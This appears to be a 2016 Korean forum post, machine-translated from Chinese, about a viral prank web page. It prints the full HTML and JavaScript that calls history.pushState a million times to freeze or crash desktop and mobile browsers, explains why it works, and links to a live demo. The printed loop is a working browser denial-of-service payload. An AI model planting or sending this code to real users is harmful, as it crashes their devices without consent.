|
|
게시됨 2016. 1. 22. 오전 11:36:39
|
|
|
|

사건의 원인은 이렇습니다. 외국인 친구인 사이버 보안이 트위터에 이런 글을 올렸습니다:
이 사람은 위의 12줄짜리 Javascrip{filter}t 코드를 사용하면 Firefox, Chrome, Safari 브라우저가 크래시가 나고, 아이폰이 재시작되고 안드로이드 폰도 다운될 수 있다고 주장합니다!
전체 HTML 코드는 다음과 같습니다:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
코드 복사
PC 사용자라면, 링크를 클릭한 후 컴퓨터 CPU 메모리가 급상승하다가 브라우저가 멈추고 멈출 가능성이 매우 높습니다...
모바일(안드로이드, 아이폰) 사용자라면 링크를 클릭한 후 브라우저가 크래시가 납니다! 웨이보와 위챗에서 링크를 클릭해도 다운됩니다.
왜 이런 일이 일어나는 걸까요? 이와 관련해, 지호에서 '샤오미'라는 신으로부터 답을 찾았습니다:
history.pushstate()는 HTML5에서 도입된 API로, pushState는 브라우저 기록에 지정된 URL을 추가하고 현재 기록 지점을 저장합니다. i<100000 시에는 합계가 브라우저 기록에 주기적으로 기록되고, 너무 반복되면 브라우저가 이를 견디지 못해 자연스럽게 다운됩니다.
어쨌든, 나는 '안으로 세상'이라는 말조차 만들어내지 못해서 전혀 이해가 안 돼... 요컨대, 하늘을 폭파하는 게 딱 맞는 일이야!
직접 시도해보고 싶으시면 여기를 클릭해 주세요: http://www.itsvse.com/demo.html
|
이전의:[오픈 소스] 우윈 취약점 쿼리 플랫폼 소스 코드 및 데이터베이스 asp.net 버전다음:Linux config/configure/Configure, make, make test/make check, sudo make in...
|